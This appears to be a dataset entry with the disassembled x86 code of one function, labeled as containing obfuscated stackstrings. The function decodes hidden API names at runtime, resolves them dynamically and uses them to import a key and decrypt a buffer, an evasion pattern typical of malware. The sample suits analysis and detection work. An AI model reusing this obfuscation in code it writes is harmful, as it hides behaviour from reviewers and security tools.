Function at 0x40f2fe
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x4537ed
call fcn.004534f4
sub esp, 0x140
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov edi, edx
mov esi, ecx
mov dword [ebp - 0x48], esi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov al, 0x13
mov dword [ebp - 0x26], 0x79674413
mov dword [ebp - 0x22], 0x366c7364
mov dword [ebp - 0x1e], 0x6f673135
mov word [ebp - 0x1a], 0x6f
mov edx, ebx
mov dword [ebp - 0x8c], edx
cmp edx, 0xc
jae 0x40f370
movsx ecx, al
and ecx, 0x8000000f
jns 0x40f35a
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x25]
sub al, cl
mov byte [ebp + edx - 0x25], al
inc edx
mov dword [ebp - 0x8c], edx
mov al, byte [ebp - 0x26]
jmp 0x40f345
mov byte [ebp - 0x19], bl
movaps xmm0, xmmword [0x408210]
movups xmmword [ebp - 0x5e], xmm0
mov dword [ebp - 0x4e], 0x7a7e6b7a
mov word [ebp - 0x4a], 0x47
mov edx, ebx
mov dword [ebp - 0x90], edx
cmp edx, 0x14
jae 0x40f3b6
movsx ecx, byte [ebp - 0x5e]
and ecx, 0x8000000f
jns 0x40f3a9
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x5d]
sub al, cl
mov byte [ebp + edx - 0x5d], al
inc edx
jmp 0x40f38d
mov byte [ebp - 0x49], bl
lea edx, [ebp - 0x5d]
lea ecx, [ebp - 0x25]
call fcn.0040c457
push 0xf0000000
push 0xc
push ebx
push ebx
lea ecx, [ebp - 0x38]
push ecx
call eax
test eax, eax
je 0x40f7ca
push 0x24
push ebx
lea eax, [ebp - 0x134]
push eax
call fcn.00445a50
push 0x18
pop eax
mov dword [ebp - 0x12c], eax
mov byte [ebp - 0x134], 8
mov byte [ebp - 0x133], 2
mov dword [ebp - 0x130], 0x6603
push eax
push dword [edi]
lea eax, [ebp - 0x128]
push eax
call fcn.004454d0
add esp, 0x18
push 0x406fc4
lea ecx, [ebp - 0x14c]
call fcn.0040bc98
movaps xmm0, xmmword [0x4071c0]
movups xmmword [ebp - 0x10e], xmm0
mov ecx, ebx
mov dword [ebp - 0x94], ecx
cmp ecx, 0xe
jae 0x40f45f
mov al, byte [ebp + ecx - 0x10d]
xor al, byte [ebp - 0x10e]
mov byte [ebp + ecx - 0x10d], al
inc ecx
jmp 0x40f43d
mov byte [ebp - 0xff], bl
lea edx, [ebp - 0x10d]
lea edi, [ebp - 0x25]
mov ecx, edi
call fcn.0040c457
lea ecx, [ebp - 0x18]
push ecx
push ebx
push ebx
push 0x24
lea ecx, [ebp - 0x134]
push ecx
push dword [ebp - 0x38]
call eax
test eax, eax
je 0x40f690
mov dword [ebp - 0x9c], 1
movaps xmm0, xmmword [0x407830]
movups xmmword [ebp - 0xca], xmm0
mov word [ebp - 0xba], 0x3a
mov ecx, ebx
mov dword [ebp - 0x98], ecx
cmp ecx, 0x10
jae 0x40f4d6
mov al, byte [ebp + ecx - 0xc9]
xor al, byte [ebp - 0xca]
mov byte [ebp + ecx - 0xc9], al
inc ecx
jmp 0x40f4b4
mov byte [ebp - 0xb9], bl
lea edx, [ebp - 0xc9]
mov ecx, edi
call fcn.0040c457
push ebx
lea ecx, [ebp - 0x9c]
push ecx
push 4
push dword [ebp - 0x18]
call eax
test eax, eax
je 0x40f690
movaps xmm0, xmmword [0x407b20]
movups xmmword [ebp - 0xdc], xmm0
mov word [ebp - 0xcc], 0x5d
mov ecx, ebx
mov dword [ebp - 0xa0], ecx
cmp ecx, 0x10
jae 0x40f53b
mov al, byte [ebp + ecx - 0xdb]
xor al, byte [ebp - 0xdc]
mov byte [ebp + ecx - 0xdb], al
inc ecx
jmp 0x40f519
mov byte [ebp - 0xcb], bl
lea edx, [ebp - 0xdb]
mov ecx, edi
call fcn.0040c457
mov ecx, dword [ebp + 8]
push ebx
push dword [ecx]
push 1
push dword [ebp - 0x18]
call eax
test eax, eax
je 0x40f690
push dword [ebp + 0xc]
lea ecx, [ebp - 0x44]
call fcn.004125df
mov eax, dword [ebp - 0x40]
sub eax, dword [ebp - 0x44]
mov dword [ebp + 8], eax
mov al, 0x2b
mov dword [ebp - 0x34], 0x847d4e2b
mov dword [ebp - 0x30], 0x704f7f7b
mov dword [ebp - 0x2c], 0x7b847d6e
mov word [ebp - 0x28], 0x7f
mov edx, ebx
mov dword [ebp - 0xa4], edx
cmp edx, 0xc
jae 0x40f5c7
movsx ecx, al
and ecx, 0x8000000f
jns 0x40f5b1
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x33]
sub al, cl
mov byte [ebp + edx - 0x33], al
inc edx
mov dword [ebp - 0xa4], edx
mov al, byte [ebp - 0x34]
jmp 0x40f59c
mov byte [ebp - 0x27], bl
lea edx, [ebp - 0x33]
mov ecx, edi
call fcn.0040c457
lea ecx, [ebp + 8]
push ecx
push dword [ebp - 0x44]
push ebx
push 1
push ebx
push dword [ebp - 0x18]
call eax
test eax, eax
je 0x40f676
mov edi, ebx
mov dword [ebp - 0xa8], edi
cmp edi, dword [ebp + 8]
jae 0x40f613
mov eax, dword [ebp - 0x44]
mov al, byte [eax + edi]
mov byte [ebp + 0xc], al
push dword [ebp + 0xc]
lea ecx, [ebp - 0x14c]
call fcn.0040bcdc
inc edi
jmp 0x40f5ee
movaps xmm0, xmmword [0x408750]
movups xmmword [ebp - 0xed], xmm0
mov byte [ebp - 0xdd], bl
mov edx, ebx
mov dword [ebp - 0xac], edx
cmp edx, 0xf
jae 0x40f65b
movsx ecx, byte [ebp - 0xed]
and ecx, 0x8000000f
jns 0x40f648
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0xec]
sub al, cl
mov byte [ebp + edx - 0xec], al
inc edx
jmp 0x40f629
mov byte [ebp - 0xdd], bl
lea edx, [ebp - 0xec]
lea edi, [ebp - 0x25]
mov ecx, edi
call fcn.0040c457
push dword [ebp - 0x18]
call eax
mov ecx, dword [ebp - 0x44]
test ecx, ecx
je 0x40f690
mov edx, dword [ebp - 0x3c]
sub edx, ecx
call fcn.0040b033
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x3c], ebx
movaps xmm0, xmmword [0x4086e0]
movups xmmword [ebp - 0xfe], xmm0
mov byte [ebp - 0xee], bl
mov edx, ebx
mov dword [ebp - 0xb0], edx
cmp edx, 0xf
jae 0x40f6d8
movsx ecx, byte [ebp - 0xfe]
and ecx, 0x8000000f
jns 0x40f6c5
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0xfd]
sub al, cl
mov byte [ebp + edx - 0xfd], al
inc edx
jmp 0x40f6a6
mov byte [ebp - 0xee], bl
lea edx, [ebp - 0xfd]
mov ecx, edi
call fcn.0040c457
push dword [ebp - 0x18]
call eax
movaps xmm0, xmmword [0x4084f0]
movups xmmword [ebp - 0x73], xmm0
mov dword [ebp - 0x63], 0x80847180
mov byte [ebp - 0x5f], bl
mov edx, ebx
mov dword [ebp - 0xb4], edx
cmp edx, 0x13
jae 0x40f730
movsx ecx, byte [ebp - 0x73]
and ecx, 0x8000000f
jns 0x40f723
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x72]
sub al, cl
mov byte [ebp + edx - 0x72], al
inc edx
jmp 0x40f707
mov byte [ebp - 0x5f], bl
lea edx, [ebp - 0x72]
mov ecx, edi
call fcn.0040c457
push ebx
push dword [ebp - 0x38]
call eax
movaps xmm0, xmmword [0x408270]
movups xmmword [ebp - 0x88], xmm0
mov dword [ebp - 0x78], 0x7b7f6c7b
mov byte [ebp - 0x74], bl
mov edx, ebx
mov dword [ebp - 0xb8], edx
cmp edx, 0x13
jae 0x40f78f
movsx ecx, byte [ebp - 0x88]
and ecx, 0x8000000f
jns 0x40f77c
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x87]
sub al, cl
mov byte [ebp + edx - 0x87], al
inc edx
jmp 0x40f75d
mov byte [ebp - 0x74], bl
lea edx, [ebp - 0x87]
mov ecx, edi
call fcn.0040c457
push ebx
push dword [ebp - 0x38]
call eax
mov dword [esi], ebx
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], ebx
lea eax, [ebp - 0x14c]
push eax
mov ecx, esi
call fcn.0040bd60
lea ecx, [ebp - 0x14c]
call fcn.0040bc59
mov eax, esi
jmp 0x40f7fb
mov dword [esi], ebx
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], ebx
mov dword [esi + 0x14], 0xf
jmp 0x40f7c6
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 8